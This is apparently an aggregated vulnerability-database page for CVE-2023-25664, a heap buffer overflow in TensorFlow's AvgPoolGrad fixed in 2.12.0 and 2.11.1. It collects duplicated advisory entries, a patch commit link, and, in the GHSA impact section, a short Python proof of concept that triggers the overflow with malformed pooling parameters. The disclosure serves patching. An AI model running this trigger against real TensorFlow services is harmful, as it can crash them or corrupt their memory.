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BIT-tensorflow-2023-25664 — TensorFlow vulnerable to Heap Buffer Overflow in AvgPoolGrad

Affected: Bitnami: tensorflow

TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.

cnvd-2023-43888

EUVD-2026-218407

fkie_cve-2023-25664

TensorFlow is an open source platform for machine learning. Prior to versions 2.12.0 and 2.11.1, there is a heap buffer overflow in TAvgPoolGrad. A fix is included in TensorFlow 2.12.0 and 2.11.1.

GHSA-6hg6-5c2q-7rcr — TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Affected: PyPI: tensorflow, PyPI: tensorflow-cpu

### Impact ```python import os os.environ['TF_ENABLE_ONEDNN_OPTS'] = '0' import tensorflow as tf print(tf.__version__) with tf.device("CPU"): ksize = [1, 40, 128, 1] strides = [1, 128, 128, 30] padding = "SAME" data_format = "NHWC" orig_input_shape = [11, 9, 78, 9] grad = tf.saturate_cast(tf.random.uniform([16, 16, 16, 16], minval=-128, maxval=129, dtype=tf.int64), dtype=tf.float32) res = tf.raw_ops.AvgPoolGrad( ksize=ksize, strides=strides, padding=padding, data_format=data_format, orig_input_shape=orig_input_shape, grad=grad, ) ```

### Patches We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.

### Attribution This vulnerability has been reported by <evn@google.com>

gsd-2023-25664

msrc_CVE-2023-25664 — TensorFlow vulnerable to Heap Buffer Overflow in AvgPoolGrad

msrc_CVE-2023-25664

PYSEC-2026-1951 — TensorFlow has Heap-buffer-overflow in AvgPoolGrad

Affected: PyPI: tensorflow-cpu

### Patches We have patched the issue in GitHub commit [ddaac2bdd099bec5d7923dea45276a7558217e5b](https://github.com/tensorflow/tensorflow/commit/ddaac2bdd099bec5d7923dea45276a7558217e5b).

The fix will be included in TensorFlow 2.12.0. We will also cherrypick this commit on TensorFlow 2.11.1

### Attribution This vulnerability has been reported by <evn@google.com>